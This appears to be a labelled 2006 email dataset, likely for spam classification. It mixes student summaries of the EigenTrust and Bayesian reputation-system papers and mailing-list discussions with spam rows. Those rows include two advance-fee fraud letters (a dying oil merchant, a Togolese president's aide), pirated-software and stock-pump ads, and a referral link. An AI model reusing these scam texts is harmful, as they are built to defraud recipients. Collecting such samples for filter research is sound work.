there is no information assymetry in the network which can be leveraged, which will almost universally result in the best possible peer being isolated, and used, leading to an accrual of trust, which will cause the problem the escalate. The probabilistic algorithm will fix this, but is something of an altruistic solution, since it relies on each individual accepting the choice of a suboptimal path to patch a ""black hole"" in the system. Their attacker model is sufficiently malicious, but their experiments seem to leave something to be desired; the subtext is that the effect is visible in the small scale, but that the data in the large scale experiments are too large to fully study. However, these data are not presented; presumably the effect is cleaner in a small network. Robust Reputation System for P2P and Mobile Ad-hoc Networks Jean-Yves Le Boudec Another attempt at validating entities in a distributed fashion, this paper uses another reputation scheme, attempting to strike the happy medium between considering the reports of others and relying entirely on self-generated interactions. It does this by pushing first hand information out into the network, based on a modified Bayesian approach and a linear model merging heuristic, leaving reputation & trust ratings as private. It does this in the absence of primary trusted entities (the seed values that EigenTrust relies on). It uses reputation fading, to keep ratings ""current"", and is exceedingly noncentralized. Not much space is given in the paper, to using others' deduced trust values, just first hand operations. This means that while the system can be quite scalable, as it relies only on local data about any entity who is to be interacted with, it gives the impression of being lower overhead than EigenTrust without actually being so; if one wishes to later interact with a remote entity, to look up its rating requires just as much work, and the calculation is not particularly easier here, merely a different metric. ",0,0 Albert ,complex-science@necsi.org,"Mon, 27 Mar 2006 22:42:23 +0200",Hello ,"Dear friend, Sorry for intruding into your privacy, I am a 65 years old man and a British citizen currently living in Kuwait. I am an Oil merchant and owned Oil businesses in Kuwait, Qatar and Saudi Arabia. I was married with two children and my wife and two children died in a car accident six years ago. Two years ago I was diagnosed with prostrate cancer and this week my doctors have just informed me that i have few months to live. Before this happened my business and concern for making money was all I lived for. I never really cared about other values in life. But since the loss of my family and after i was dianosed with prostrate cancer, i have found a new desire to assist helpless families. I have been helping charity organisations by donating money to them to assist the less priviledge in Asia and other parts of the world. Before I became ill, I kept some money, three and a half million dollars ($3.5million) to be precise in a long term deposit account in a private finance institution in europe. Presently, I am in a hospital and my doctor says i have few months to live, and it is my last wish to see this money distributed to charity organizations. Because so much of my wealth has been plundered by relatives and friends since my illness, I cannot live with the agony of entrusting this huge responsibility to any of them. I want you to assist me collect the funds from the finance company in europe and distribute it amongst charity organizations. Use your judgment to distribute the money and keep 10% of it to yourself. Feel free to reimburse yourself when you have the money for any cost you incur during the process of collecting and distributing the money to charity organizations. May you be blessed for your good deed. I await your urgent response. Best regards, Albert ",1,0 """Equestrienne M. Bankruptcies"" ",Bait ,"Mon, 27 Mar 2006 15:35:22 -0500",Software,"soft at incredibly low prices Software taking a bite out of your budget? Try 0EM! New software on our site: Office 2003 Professional (1 CD Edition) - $89.95 Norton System Works 2003 - $59.95 Extensis Portfolio 7.0 - $59.95 Freehand MX 11 - $69.95 Photoshop CS with ImageReady CS - $99.95 Dreamweaver MX 2004 $69.95 Office 2000 Premium Edition PE (2CD) - $59.95 CorelDraw Graphics Suite 11 - $59.95 InDesign CS PageMaker Edition (2CD) - $69.95 Office 2003 Professional (1 CD Edition) - $89.95 Windows NT 4.0 Server - $49.95 Illustrator CS CE - $69.95 Photoshop CS $99.95 PhotoRetouch Pro 3.0 - $59.95 Our site: http://vkjkip1e12jqevd80dd8iddv.tertialmb.com/ ",1,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Mon, 27 Mar 2006 22:27:29 -0600",Office hours," I will not be holding office hours on tuesday and wednesday, this week. I must be accessible through email. So, mail me if you have any questions or need some help. Sorry for the inconvenience. Madhavi ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 00:18:30 -0500",PAPER 16,"The EigenTrust Algorithm for Reputation Management in P2P Networks A Robust Reputation System for P2P and Mobile Ad-hoc Networks EigenTrust is an attempt to create a self-policing, somewhat decentralized method of reputation management in a p2p network. EigenTrust is based on nodes judging their peers based on direct interaction and aggregating local trust values from other peers. A node can theoretically iterate over the entire network to obtain a view of other nodes' trust information, but the system is designed such that trust vectors of all peers will converge as the network expands. Thus, it should not be necessary to crawl very far to obtain a reasonable view. The system uses a concept of pre-trusted peers that are ""known"" to be trustworthy to combat inactive peers and malicious collectives. The system is then run on top of DHT, such as CAN or Chord, to assign reputation managers for nodes in the network in order to avoid self-evaluation. Multiple managers are assigned for nodes in order to limit the effect of misbehaving managers. A modified Bayesian approach to decentralized reputation management has is presented in the Robust Reputation System paper. This system has two main ratings that are maintained about nodes, reputation and trust. Reputation is the belief in whether a node is participating properly in a network. Trust is whether or not a node is participating properly in the reputation system, i.e. whether the information it provides about other nodes is valid. Nodes maintain first hand information about their interaction with nodes and share this with other nodes. As nodes receive information from other nodes (and update first hand information), the node will only accept data if it is ""close"" to the reputation value that it has currently. The modification to their Bayesian scheme facilitates reputation fading and redemption to mitigate nodes that capitalize on built up reputation and suddenly misbehave. Both of these systems do not appear to have deployed outside of simulations. The notion of pre-trusted peers, which is claimed to be beyond the scope of the paper, seems to present a major issue in EigenTrust. It appears to be a very important part of their scheme, yet is not fleshed out. This also detracts from the decentralization of the system as the pre-trusted peers will become targets. The claimed anonymity is not described very well, and the mapping of nodes based on a unique, real-world identity to the DHT that assigns reputation managers seems to be problematic. Identities also seem to be a major problem with the modified Bayesian approach, and is mentioned as being a work in progress. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 01:26:21 -0500",PAPER 16," Eigentrust: PageRank is one of the most successful algorithms of the last 15 years, and EigenTrust seeks to do something similar with trust in a peer-to-peer system. The authors show how to compute the principal eigenvector of a matrix (in this case, the trust matrix) in a distributed and reliable way. The terms of this eigenvector represent the extent to which the corresponding nodes should be trusted. Embarassingly, the system requires a globally agreed set of pre-trusted peers, and the authors go so far as to admit that the algorithm will not perform properly if some of these trusted peers belong to a malicious collective. ""Trust the designers of the network"" is not a good peer-to-peer design practice. Robust reputation in peer-to-peer One of the chief difficulties in reputation systems is reconciling the information a node collects directly with what it hears. The authors propose that a node should take in reports, and use them if they correspond to a node's own perceptions. In the proposed scheme, the reports are in fact parameters for a Baysian model of the behavior of other nodes. The system also elegantly incorporates aging of information, so a node's bad reputation will dissipate over time provided the node stops acting badly. The system may be vulnerable to a long-term attack in which malicious nodes carefully send reports that are within the acceptance thresh-hold of a given node, to try to push its rankings up or down over time. Credence: Credence is a system that assigns reputations not to principals, but to objects. When a node receives information from another node, they weight this report based on the extent to which they've agreed in the past; this means that a node that spews out random reputation information (uncorrelated with the ratings of a given node) will be discounted. Further, the system will work correctly even if different populations of nodes disagree about the rating to be accorded to an object. Credence relies on participants forwarding votes for each other. In the presence of malicious peers, the votes gathered may not be a fair sample of the votes cast--malicious peers can preferentially forward votes either pro or con. Credence also relies on having unique object identifiers; it seems as though a simple hash of the contents isn't sufficient, since that would mean that a peer cannot tell whether a proffered object is genuine without first downloading it. A last observation: It might be useful to divide the objects being rated into classes, and work out separate correlation coefficients for each class; it could easily be imagined that a given pair of nodes might agree about how to rate some objects, but disagree about others. (It should be possible to do this by having each peer use a different identity for voting on each of its perceived classes; the classification need not be global). Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 02:13:31 -0500",PAPER 16,"Reputation management is necessary in a peer-to-peer system because participants might abuse its nature of anonymity to behave maliciously. The twp papers to be discussed today present how to rate other participants' reputation in distributed ways. * There are several advantages of reputation systems, in addition to isolate malicious peers. One is to provide incentives of file sharing. In the case that reputable peers are rewarded with higher priority, increased connectivity or greater bandwidth, participants would tend to share rather than to freeload. Another benefit is to make the system tidy. Peers tend to delete inauthentic files for its reputation. This makes it more difficult to replicate junk files in the system. * In a reputation system, a small fraction of reputable peers may become overloaded. * Pre-trusted peers in EigenTrust could be a potential threat to this reputation system. Besides, malicious peers may provide authentic files to earn other peers' trust but actually provide incorrect trust values (higher for malicious peers and lower for good peers) to confuse the aggregation of global trust values. * The EigenTrust mechanism represents trust value of peers by eigenvectors. Peers rate each other for each transaction. These local trust values are normalized and aggregated to global ones in a distributed and node-symmetric approach. * The basic idea is transitive trust: A peer is likely to trust those who provide it authentic files. Their opinions are given higher weights in the trust value aggregation. This is better than the previous approaches which either aggregate the ratings from only a few peers or cause congestions due to the large-scale aggregations. * EigenTrust requires a priori notation of trust, that is, pre-trusted peers, in dealing with inactive peers. The pre-trusted peers are also important as they guarantee convergence of the computation for trust values against malicious collectives, a group of malicious peers who give each other high local trust value and give all other peers low trust values. * This paper proposes a reputation system based on its modified Bayesian approach. Each peer relies mostly on its own observations (first-hand) but makes use of other peers' information (second-hand) when it's helpful. * Two kinds of ratings are maintained in each peer. The reputation rating represents nodes' behaviors in the system (normal or misbehaving). The trust rating represents how honest a node is in the system (trustworthy or untrustworthy). * The approach copes with false rating from other nodes as follows: If the second-hand report comes from a trustworthy peer or is close to the peer's own first-hand observation, (a) the report is used to slightly modify the reputation rating; (b) the trust rating improves if the first-hand and second-hand information are close, and worsens otherwise. According to the description on the webpage: * Credence differs from previous works in that it derives trust metrics on objects rather than peers. * Each peer collects and evaluates the votes from other peers to estimate the reputation of an object. * The peers' votes are weighted depending on the relationships between the peer itself and those peers. * It is also the first implemented peer-to-peer reputation scheme.",0,0 ,,,Re: Future economics," Eli and Guy: ""the bartender speaketh"" with 'ceterum censeo': why do we still restrict our views and explanations to specific models we find essential in our reduction of the broader picture? Guy with his 2 majors seems to include wider connotations, but I still feel an either or in his consideration - even if he combines them. I caused a good laugh at an evolutionary conference a decade or two ago (Drew Univ. NJ-USA, - a religiously undertoned openminded college) when I remarked that the criteria for fitness (for better proliferation) in our ongoing human species include MONEY, explained as: ""the guy with the LAMBORGHINI gets the better girl"". Biologically and genetically. John --- complex-science@necsi.org wrote: > Eli, > > I'm sorry for the delay in my response, but here it > goes... > > On Mar 16, 2006, at 12:54 PM, (Eli Berniker) wrote: > > > Guy, > > I cannot assume that social construction processes > are biological > > simply because living systems engage in them. > These are processes > > of purposeful beings in communication with one > another creating > > understandings of their reality. > > To me the question is whether it is possible for > non-biological > systems to engage in social construction. If not, > then I would argue > that social construction is exclusively an aspect of > biology. It > might be more accurate to say that in this case > biology is a pre- > requisite for the emergence of sociality. Even if > it turns out that > sociality can emerge in non-biological systems, I > would still argue > that the social systems we are discussion emerged > within a biological > system. > This makes these social constructions inherently > biological in my mind. > > Note that my argument is an example of Stan's > specification hierarchy > thinking. Like Stan, I would also argue that all > biology, as we > understand it, is a subset of chemistry. In other > words, biology > extended chemistry and sociality extended biology. > I don't see > these extensions as separating from their > foundations. > > > Thus, our economics drive us to construct a world > of scarcity and > > hunting gathering societies construct a world of > plenty. The > > origins of these constructions are not in ""nature"" > but in our > > humanity. These constructions are plastic with > respect to our > > intentions. What biological explanation can we > offer for an > > administration that constructs an explanation for > a war based on > > overexposure to cowboy movies, believes its own > constructions, and > > proceeds into a disastrous war without > justification? If we are to > > task biology with an explanation of such > phenomena, what could it > > offer? > > I want to avoid a superficial misunderstanding based > on semantics. I > hope my answer is clear, although it may seem like I > am avoiding your > point. I am not trying to sidestep it. I would > say that these > issues cannot be adequately addressed by some kinds > of biologists, > such as molecular or cellular biologists, but can be > tackled by > social and behavioral biologists. [I majored in > both biology and > psychology. :-)] I think we should also recognize > sociology and > political science as sub-disciplines of biology, > although I think we > would agree that these are only loosely (at best) > connected with the > more reduced end of the biology spectrum (e.g., > molecular biology) at > this stage. > > > Social construction is the domain of social > sciences and they are > > reasonably useful in proposing understandings of > many social > > phenomena. > > I agree. I also think that the future will see a > linkage formed > between the social and biological sciences. > > > What is your justification for extending > biological explanations > > and models to such phenomena? > > I hope I answered this question above. > > Cheers, > > Guy Hoelzer > ",0,0 ,,,Re: computability and edge of chaos,"Thanks for the considerate reply, Eli, I did not realize so far how an exceptional and unique person I was. Some remarks though: --- complex-science@necsi.org wrote: Eli wrote: > ... > Finally, I am not a determinist. In as complex a > universe as a single > human being, there are enormous degrees of freedom > deriving simply from > the combinatorial possibilities involved in our > biology and learning. Would you call such 'possibilities' as one's own and unfounded 'creation' of onesself? I consider them as a combination of 'precedent' affects on the outcome. > > To me, and I may have written this on the list serve > before, your belief > in determinism is equivalent to asserting that each > of us is but a deal > of a deck of cards. The deal determines the > outcomes. A systems theorist > might ask about the size of the deck and the > computational challenge of > treating the deal as a deterministic problem. Oho! you substitute the unlimited ('wider' infinite) image of the totality (wholeness) for a primitive human gaming artifact of recent? Simulacrons and metaphors are wrong, even if they don't simplify a complex into some chosen primitive substitutions - for the sake of a good argument. Applied to JM's diversity. > ... > Still, every human being is unique. If I am not > mistaken, we are dealing > with combinatorial possibilities that approach the > number of atoms in > the known universe. > > And that is only half of the deck. We might assume > that JM's neurons, > all 200 billion of them, have been engaged in > considerable learning > encoded via connections between them, It appears > that the number of such > connections range between 1 to a 1000. I'll leave > it to you to compute that deck of possibilities. Thank you. So it is not a scimpy deck of cards. > > That is the ""deck' in question. We may chose to > believe that it is, > nevertheless, deterministic, After all, Einstein > said that he did not > believe that the old man played dice. However, no > conceivable > computational scheme can map all of that many > possibilities. Here we get to somewhere. Implied is the notion that WE (humanity's best thinkers involved) assume to understand and 'compute' the totality. We should not pass judgement on the potentials and variations of the wholeness, before we CAN think in ALL of it. You wrote the proper expression: ""conceivable"". Think in infinite digitality analog computers, qualia unlimited and beyond our imagination, infinite variables and unlimited (unthought of) effects. That is what 'the old man' of Einstein used as his dye. That 'this' is not 'science - as we know it'? Right. It may be 'speculation' beyond the reductionist science where we arrived at so far over the short infancy of our human (thinking) evolution. 6-8 millennia? and we still think only by using our restricted tissues - with metaphors of the present embryonic state of computing. Now the following sounds better: > > So, we might agree with Einstein by suggesting that > our universe is a > single role of God's dice. And also admit that those > dice have so many > faces that we cannot read what that role means, i.e. > no observer can be > so positioned as to read those dice. > > Bottom line: Determinism is a choice of faith for > which evidence can at best be partial. > > Eli Choice of partial evidence. Conceivable and restricted to our 2006 thinking. I have no argument agains that. JM > (John M) wrote: > > >Eli. ... > >As much as I do not condone conceptual 'randomness' > in > >the complex world, (my wordview is 'backwards' > >deterministic: everything is entailed by changes > >unlimited known or not) I condone 'random numbers' > >theoretical (watch it: not 'applied' science) math, > >... > >larger/smaller infinites? (Back to G. Cantor?) > > > >Regards > >JM > > ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 10:11:10 -0500",PAPER 16,"EigenTrust is an algorithm for efficiently computing global trust values from local trust values in a distributed way. Specifically, EigenTrust considers the matrix of local trust vectors from each peer. The left principle eigen vector of this matrix represents the global trust vector for the system as a whole when trust values are aggregated by weighted sum, where the local trust values of each peer are weighted by how much that peer is trusted throughout the network. The EigenTrust algorithm is distributed such that every peer has a set of other peers calculating its trust value and each peer is responsible for calculating the trust value of some number of other peers. To retrieve a trust value for a peer, a node uses consistent hashing (under a number of hash functions) and does majority voting to determine the trust value of the peer in question. This computation and some additional mechanisms allow EigenTrust to address malicious collectives and malicious trust computations. The paper goes on to suggest ways to use global trust values (file sharing credibility) and simulates this application with very positive results under a number of threat models. However, the distributed computation relies on each node correctly reporting the set of peers which have downloaded files from the node in order to get the relevant local trust values to compute the global trust value. It seems as if a malicious node could have a relatively small collective and, despite its actual behaviour, report that this collective holds all the relevant local trust values. These could incorrectly boost the malicous node's trust value (and all the negative trust values will never be taken into account). Also the suggested application will penalize malicous nodes which upload inauthentic files, but will not, as is suggested by the paper, address the free-rider problem since the trust score is used only for choosing a peer to download from. In fact, it seems as if nodes have incentive to upload inauthentic files so they will be less burdened with many file uploads (although the paper does show that some degree of load balancing can be achieved at least among well trusted nodes). In ""A Roubust Reputation System..."" Buchegger and Le Boudec present a reputation and trust system for mobile ad hoc networks. This system uses first hand reports to aggregate wider reputation and trust scores. These scores identify misbehavior and trustworthiness (respectively) independently. Buchegger and Le Boudec argue that these are problems which can be characterized differently and should be addressed separately. The approach is probabalistic in that it models behavior and credibility by two parameters which can be drawn from Beta distributions. These distributions are parameterized and these parameters are altered by first and second -hand observations. The degree to which second-hand observations are considered is altered by the trustworthiness of a peer (untrustworthy peers are ignored unless their report doesn't significantly deviate from the wider aggregate). The specific application suggested is for use in mobile ad hoc networks in order to utilize or ignore neighbors during routing or other network services. An evaluation indicates that using this system (specifically using second-hand reports) can cut misbehaviour detection time by more than a half. However, the application is not well motivated in this paper and further applications are not considered. It's not clear how well such a system would perform in a very mobile environment or with high churn as the reputation and trust still take time to accumulate and are not aggregated system wide (first-hand reports are only published to immediate neighbors). ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 10:43:58 -0500",PAPER 16,"THE EIGENTRUST ALGORITHM: The problem which the authors wish to address with EigenTrust is that P2P networks generally do not have mechanisms for preventing the spread of inauthentic files. The method that they choose is to maintain a global trust value for each node in the network based on that node's upload history, indicating the confidence with which that node is expected to produce authentic files. Each node maintains a local trust value for each node it has interacted with, giving way to a challenge of aggregating these local trust values to generate a global trust value. EigenTrust assumes that the accuracy to which a node reports its local trust values is proportional to the authenticity of files uploaded by that node, and aggregation is achieved by weighting reported local trust values by the local trust value of the node who reported them. This can be cascaded from to neighbors of neighbors of neighbors, etc. Thus, in the global sense, aggregation is achieved by a distributed computation of the left eigenvector of a matrix of normalized local trust values, making it possible to guarantee a convergence to a set of unique global trust values. To secure this process, DHT consistent hashing is used to select a set of score managers, who act as a definitive set of nodes who are queried and averaged to report a trust value for a given node. As malicious nodes cannot choose their DHT identifier, it is difficult for attackers to control a large portion of score managers for a given node. A ROBUST REPUTATION SYSTEM: Reputation systems must balance a critical tradeoff: first-hand reputation is accurate but a small set, and shared information is a large set but may be inaccurate. EigenTrust achieves this by weighting second hand reputation values by first hand trust values. This system, in contrast, accepts second hand reputation values only if they are congruent with local values. This is achieved using a Bayesian approach, modified in the sense that more recent transactions affect trust ratings more strongly that older transactions. Each node begins with an expectation that a node will act incorrectly according to an initial uninformative Beta distribution. This distribution is updated as observations are made. Nodes are not punished for inaccurate information, as this may punish intermediate nodes along multi-hop aggregation of trust. Although they mention that node identities must be authentic, they do not provide a mechanism to achieve this. EigenTrust requires a set of pre-trusted peers to anchor the global ratings. In terms of performance between the two schemes, it is difficult to compare, as EigenTrust is evaluated based on suppression of unauthentic files, while this system is evaluated based on detection of malicious nodes. ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 10:53:03 -0500",paper 16 -- REPUTATION SYSTEMS,"Eigen Trust very similar to the Karma paper the paper proposes a reputation system that assigns each peer a unique global trust value based on the peer's history of uploads. the five issues that a reputation system must address are self-policing, anonymity, non-assignment of profit to newcomers, minimal overhead and robustness to malicious set of peers. the authors define a normalized trust value and argue that substantially good results are obtained despite drawbacks in the normalization scheme. each peer stores a trust value associated with every other peer in the system. This trust is updated on communicating with its neighbors. A large number of such communications/iterations result in a global convergence of this trust vector across all nodes. score managers( peers in the network) are used to manage the trust value of a peer. Secure entry algorithm ensures that a node cannot choose its score managers and also prevents Sybil attacks. PRACTICAL ISSUES: a set of pre-trusted peers are used to tackle various threats. in case of inactive peers, pre-trusted peers will be trusted. POSSIBLE FLAWS nothing prevents a set of malicious nodes from increasing each other's trust values since authentic downloads are not penalized ( a node A can increase node B's trust value indefinitely) the paper makes an assumption that a authentic provider of a file will also be honest when it comes to reporting other facts. Thus, an attacker can share authentic files but deliberately misreport information to decrease the percentage of authentic downloads. the authors discuss this setup under 'threat model C"" but they compare their model with non-trust based schemes. load balancing also seems difficult as users would like to download with nodes having higher trust values(no incentive to download from lower trust valued peer). new peers may thus suffer as they may not be trusted by other nodes and thus their trust values cannot increase. ROBUST REPUTATION SYSTEM each peer maintains a reputation rating about every other peer in the network.each peer also maintains a trust rating about every other peer in the network which describes how honest the peer is (in the eyes of the local peer). a summary record for each peer is also maintained locally. reputation rating and first hand information is updated by self-observations based on transactions in which the local node is involved. nodes periodically publish their first hand information to a subset of their peers. when a peer B receives this published first hand information from a peer A, based on the ""trustworthiness"" of A , B updates reputation vector. Trust vectors are always updated. Bayesian approach is used for modifying first-hand information. Reputation fading is enabled by giving less weight to past experiences. In periods of inactivity, the Bayesian parameters are reduced by a certain factor. a deviation test is used to check whether first hand information from a peer should be used or not. peers are classified as normal/misbehaving and trustworthy/untrustworthy based on the defined thresholds (setting these thresholds involves a tradeoff) Sybil attacks discussed and prevented using a secure entry technique. misreporting nodes do not benefit much as they have to lie carefully (such that they do not cross the threshold) reputation fading mitigates ""intoxication"" ( nodes telling the truth over a sustained period and then start lying) load balancing also seems difficult as users would like to download with nodes having higher trust values(no incentive to download from lower trust valued peer) ",0,0 Bonita Andrews ,alexis@cs.utexas.edu,"Tue, 28 Mar 2006 11:05:56 -0100",fw: Mark saw J0hn 's unit with Sara 's market ,"Why MGMX should be on your radar screen now! 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This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. ",1,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 11:10:50 -0500",PAPER 16,"Eigentrust Algorithm This paper addresses discusses a way to deal with accountability in peer to peer networks by making peers use Global trust values based on Power iteration and identification and isolation of malignant peers. In EigenTrust each peer is is assigned a unique global trust value that reflects the experiences of all peers in the network with peer i where the interactions occur in a distributed and node-symmetric manner with minimal overhead on the network besides being attaining the functionalities of a self-policing,anonymous network. Also it should be noted that the network does not assign any profit to newcomers which discourage attacks on the network by ensuring that the reputation should be obtained by consistent good behaviour through several transactions and prevent malicious peers with poor reputations to continuously change their opaque identifiers to obtain newcomers status. By using a probabilistic model the system also attempts to prevent a collective subversion of the system by a group of peers. This system is based on the assumption that there are some peers in the system that are trustworthy and claims that the first few peers for example that join the network early on are known to be trustworthy because they would be the designers of the network and would have less motivation to destroy the system. This assumption however also introduces the possibility that the malignant peers can join when the network is being built and start behaving in a malignant way after a certain period and hte system would not be able to detect that in time. Such a notion of trust does break the reputation schema. Also for the localized trust value to converge it is essential that that there are pre trusted peers in the system and it is important that no pre-trusted peer be a member of a malicious collective which in turn would compromise the system and destroy the reputation system. Thus the system chooses as its primary peers a few peers that are highly trusted as for example the designers of the network and this in turn coul peers since they would be overloaded in the system. This reputation system does however provide a collective measure of responsibility measure and a measure of reputation based on a global list of peers though the list of peers that actually influence the list is actually more definitive and hence more deterministic and chosen at the start of the network. The authors should have also chosen a more probabilistic model for their reputation schema which could have yielded better results without placing restrictions on prior known peers with reputation and should have introduced a learning model that could have done more effective filtering of the malignant peers. Robust Reputation System In this paper the authors propose a learning mechanism to implement a reputation schema that is based on bayesian networks and also by splitting up the reputation system into two parts viz. a reputation rating schema and a trust rating schema. The authors also removes the dependance on selected prior peers and thus helps to make the system really distributed and dynamic where the ratings are dependant on a set of values are that are maintained by others. The reputation rating represents the opinion formed by node i about the node j’s behaviour as an actor in the base system (for example, whether node j correctly participates in the routing protocol of a mobile ad-hoc network, or whether it provides correct files in a peer-to-peer file-sharing system). The trust rating represents node i’s opinion about how honest the node j is as an actor in the reputation system (i.e. whether the reported first hand information summaries published by node are likely to be true). The reputation and trust ratings and first hand information about the node i iss tored by node j in a set of data structures. This system maintains a bayesian network at each of the node where each node models the behaviour of the other nodes and updates the uncertainity by updating hte probability distribution as new observations become available. The system also improves on a standard bayesian network by giving more weightage to more recent information and thus introducing a concept of reputation fading where the dependance on older reputation values are less. Thus the system proves to be an effective reputation based network due to the inherent property of re-evaluation of bayesian networks and the concept of repuation fading newly introduced. This system measure false positives and uses this measure for its test for malignant peers. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 11:23:37 -0500",PAPER 16,"EigenTrust is an algorithm to assign reputation to peers in a p2p network. The motivation behind the paper is that many papers prior to it require global knowledge or need to query every node in the system, making the systems impractical for modern p2p systems. To fix this problem, they have a notion of trusted peers. Trusted peers are nodes in the network with whom you have already worked with (downloaded from, in the case of file sharing) and therefore you assume that they are trustworthy. This seems like a reasonable assumption: if someone is willing to send you their files and you received them without any problems then they are likely to be honest in their reptutation management as well. Because peers are seeking out the trusts from their trusted neighbors, the opinions on peers will eventually converge. Because of this, you do not have to survey the entire network, only a small portion of it. In secure eigentrust, ""score managers"" computer the trust value of a certain peer. When someone requests the trust value, the score managers give their results and the requesting node takes a vote on the responses. Score managers are assigned by using a DHT: the IP address of the peer that is trying to be contacted is hashed and the node responsible for that value is assigned responsibility as a score manager as well. One of the negatives of the system is the pre-trusted peers. The theory is that when the network was first forming, the first nodes to have joined are likely to be honest. These nodes are then put into the trusted list of all peers. This seems very ineffective. It sounds like a central-server: a single point of failure and all the responsibility is brushed onto it to take care of. In the Bayesian paper, a trust and reputation system are modelled. Each node trusts itself and therefore makes great use of its own ratings. When querying a peer to find out what rating they assigned to a certain node, it only accepts that rating if that rating is close to what it thought the rating should be. In this way, you trust your own data and do not trust other peers. Ratings fade over time in order to not allow malicious peers to build reputation and then start misbehaving suddenly. It seems easy to launch an attack that constantly lowers ratings of peers, although you will have to be clever about it, making sure to start at a level close to what the originating peer thinks of the askee. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Tue, 28 Mar 2006 11:34:05 -0500",paper 16,"EigenTrust is a reputation calculation that computes the steady-state of the trust matrix C of all of the nodes, where c_ij is the local trust value that node i places in node j. To prevent trust inflation, the local trust values are normalized (normalizing the sum over j of c_ij for each i), which unavoidable removes absolute information on trust and makes each value an unknown relative value. A major drawback of their scheme lies in the assumption of pre-trusted nodes. They use these to accelerate convergence and argue that it is not necessary for other nodes to know which nodes are pre-trusted; however, the entire notion makes it extremely vulnerable to attackers at the start where the trust tables are mostly empty. In a more general sense, to prevent malicious nodes from vouching for and second-handidly raising the reputation of other malicious nodes, the authors propose implementing it on top of a DHT of some sort. Each node is assigned multiple random score managers. The score managers use several randomly assigned ""daughters"" to compute the trust value of the node they are responsible for. The second paper proposes using Bayesian learning to compute reputation and trust ratings. It discounts the learned values over time to give more weight to recent observations, and uses the trustworthiness of a node as a guide whether or not to accept a second-hand reputation report. The trustworthiness of a node is itself modified by the perceived accuracy of received reports (the deviation from the expected values based on the current reputation values). A major question I have about these is their performance with the presence of churn. Previous measurement studies have shown a high churn rate in popular P2P file exchange programs (Gnutella, Napster). Both Bayesian learning and EigenTrust rely on convergence over time, which makes them seem unsuitable for a high churn rate. ",0,0 m n ,cs382m@lists.cc.utexas.edu,"Tue, 28 Mar 2006 20:50:44 +0300",[CS382M:65] Invitation,"Hey! Check out this great promotion! We can both get the cool new iPod nano for free! http://www.icantort.com/?r=URFkAzUWiCE4A2IIBSQF&i=gmail&z=1&tc=18 Talk to you soon! ",0,1 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 28 Mar 2006 12:09:07 -0500",Paper 16,"The first paper, ""The EigenTrust Algorithm for Reputation Management in P2P Network,"" presents a decentralized reputation system on top of peer-to-peer network. Each node calculates the local trust values for other peers based on the transaction with the peers. Then, node normalizes the local trust values and aggregates the local trust values from other peers to form the global trust values. The main idea is based on the notion of transitive trust. A peer will usually trust the opinions of those peers who have authentic files. Using this idea, global trust values can be computed using eigenvector of a matrix of normalized local trust values in a distributed manner. However, EigenTrust requires some pre-trusted peers to guarantee convergence and break up malicious nodes, which is a drawback of the system. The second paper, ""A Robust Reputation System for P2P and Mobile Ad-hoc Networks,"" use a modified Bayesian approach to compute reputation rating of others. The main idea is to maintain two rating for every node. The reputation rating represents is the rating of whether the nodes behave correctly or not. And the trust rating represents how trustworthy are the nodes. Also, it keeps track of the rating of the first hand information. For each transaction, the node will update the first hand information and the reputation rating. And it periodically publishes the first hand information to a subset of nodes. If the node is trustworthy or the published first hand information is close to its own reputation rating, then it will update the reputation rating using modified Bayesian approach, and the trust rating. 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My video clips are 640x480 32bits, the programme says that, my tuning parameters have been set that way, but all the same the window says that i have to tune it up. I had a similar problem and Deb showed me how to fix the problem in my lap top. But now that I need to set the programme in the lab's computers (Dell) I am getting this messages. Does it have anything to do with any kind of restrictions that this computers might have for being part of the university's network? Thanks for the help, -gerardo",0,0 gilbert johnson ,gilbert_jo1@yahoo.com,"Tue, 28 Mar 2006 10:41:34 -0800",PRIVATE & CONFIDENCIAL," Dear Friend, Please pardon me if you are offended upon receiving this proposal since we have no formal contact. My name is JOHNSON GILBERT . and I was the Personal assistance to of the late Gnassigngbe Eyadema, former president of Togo who passed away after a brief illness few months ago. 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I do >all the tasks in TimeDX and when I try to check the syntax it says: > >Couldn't not >Creat/OpenRegistryKey/DMDX/3/LastUsedItemFile>ErrorCode5 > >Once I close that window appears another once that says the same but now >on top iof that it says: > >TUne some values for anticipating the vertical retrace. DMDX doesn't have permission to write to the registry it would appear. This is a problem in domain based machines that's been rectified (or at least should be rectified) in recent versions of DMDX. So try the latest version. > >I believe that I have already tuned all the paramters up. My video clips >are 640x480 32bits, the programme says that, my tuning parameters have >been set that way, but all the same the window says that i have to tune it up. > >I had a similar problem and Deb showed me how to fix the problem in my lap >top. But now that I need to set the programme in the lab's computers >(Dell) I am getting this messages. Does it have anything to do with any >kind of restrictions that this computers might have for being part of the >university's network? Yeah, they have to be able to write to the registry. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am overqualified.",0,0 Jim Jasinski ,Great Lakes Vegetable WG ,"Tue, 28 Mar 2006 22:10:18 -0500",Re: Survey update,"Hold onto your hat, Hannah, The survey is designed to let only person enter a survey from one location to avoid stuffing the ballot box so to speak. I can turn this feature off and allow multiple entries from one computer. I believe this is the source of your ebola. Let me know if you still have trouble entering data. J On Mar 28, 2006, at 7:54 PM, Hannah Stevens wrote: > Hey Jim: > > Survey monkey has Ebola! The template is holding onto the > responses to the survey I entered this evening. IE my responses > seem to have altered the template. I see that the Veg Grower > printed an article this month so we better get it fixed! > > At 10:13 AM 3/14/2006, you wrote: 